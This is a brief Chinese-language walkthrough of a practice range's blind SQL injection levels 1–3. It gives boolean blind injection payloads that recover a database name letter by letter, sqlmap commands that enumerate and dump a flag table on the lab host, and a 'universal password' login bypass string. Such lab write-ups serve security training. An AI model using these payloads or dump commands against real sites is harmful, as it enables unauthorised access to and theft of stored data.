封神台 基础靶场 盲注1-3

第一关
1 and 1=1 //正常
1 and 1=2 //空，数字型盲注
这里为了节约时间，用bp爆破
1 and length(database())=12,当前数据库长度为12

1+and+ascii(substr(database(),1,1))+=107  //第一位为k
1+and+ascii(substr(database(),2,1))+=97   //第二位为a
1+and+ascii(substr(database(),3,1))+=110  //第二位为n
1+and+ascii(substr(database(),4,1))+=119   //第四位w
1+and+ascii(substr(database(),5,1))+=111	o
1+and+ascii(substr(database(),6,1))+=108	l
1+and+ascii(substr(database(),7,1))+=111	o
1+and+ascii(substr(database(),8,1))+=110 	n
1+and+ascii(substr(database(),9,1))+=103	g
1+and+ascii(substr(database(),10,1))+=120	x
1+and+ascii(substr(database(),11,1))+=105	i
1+and+ascii(substr(database(),12,1))+=97	a//得到数据库名kanwolongxia

到这里就用sqlmap了,不在手工了，要劳逸结合嘛，手工太累了
python sqlmap.py -u http://inject2.lab.aqlab.cn:81/Pass-10/index.php?id=1 -p id --threads 50 -D kanwolongxia --table可以看到得出了三个表，继续爆字段
python sqlmap.py -u http://inject2.lab.aqlab.cn:81/Pass-10/index.php?id=1 -p id --threads 50 -D kanwolongxia -T loflag --columns

爆字段的值
python sqlmap.py -u http://inject2.lab.aqlab.cn:81/Pass-10/index.php?id=1 -p id --threads 50 -D kanwolongxia -T loflag -C flaglo --dump

第二关
跟上面的一样，把单引号换成双引号即可
sqlmap也一样
第三关
1’ or 1=1# //万能密码即可